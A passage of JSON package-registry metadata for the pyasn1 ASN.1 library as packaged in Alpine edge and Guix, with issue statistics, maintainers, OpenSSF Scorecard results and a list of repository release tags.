:14.388848354517874,"stargazers_count":null,"forks_count":null,"average":7.194424177258937},"purl":"pkg:apk/alpine/py3-asn1-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=edge","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-asn1-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-asn1-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-asn1-pyc/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-asn1-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-asn1-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-asn1-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-asn1-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-asn1-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-asn1-pyc/codemeta","maintainers":[{"uuid":"alpine@ptrcnull.me","login":null,"name":"Patrycja Rosa","email":"alpine@ptrcnull.me","url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","packages_count":770,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","role":null,"created_at":"2023-08-11T23:43:23.897Z","updated_at":"2023-08-11T23:43:23.897Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers/alpine@ptrcnull.me/packages"}],"registry":{"name":"alpine-edge","url":"https://pkgs.alpinelinux.org/packages?branch=edge","ecosystem":"alpine","default":false,"packages_count":39920,"maintainers_count":905,"namespaces_count":3,"keywords_count":6586,"github":"alpinelinux","metadata":{"repos":["main","community","testing"],"funded_packages_count":2936},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.616Z","updated_at":"2026-08-20T05:05:14.609Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/namespaces"}},{"id":13951787,"name":"python-pyasn1","ecosystem":"guix","description":"ASN.1 types and codecs","homepage":"https://github.com/pyasn1/pyasn1","licenses":"bsd-2","normalized_licenses":["BSD-1-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2026-03-02T19:23:28.614Z","latest_release_published_at":"2026-03-02T19:23:28.614Z","latest_release_number":"0.6.1","last_synced_at":"2026-04-27T16:27:39.599Z","created_at":"2026-03-02T19:23:28.283Z","updated_at":"2026-08-15T09:21:24.901Z","registry_url":"https://packages.guix.gnu.org/packages/python-pyasn1/0.6.1/","install_command":"guix install python-pyasn1","documentation_url":"https://git.savannah.gnu.org/cgit/guix.git/tree/gnu/packages/python-xyz.scm#n17725","metadata":{"location":"gnu/packages/python-xyz.scm:17725","variable_name":"python-pyasn1"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.901Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:guix/python-pyasn1","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/guix/python-pyasn1","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/guix/python-pyasn1","dependent_repositories_url":"https://repos.ecosyste.m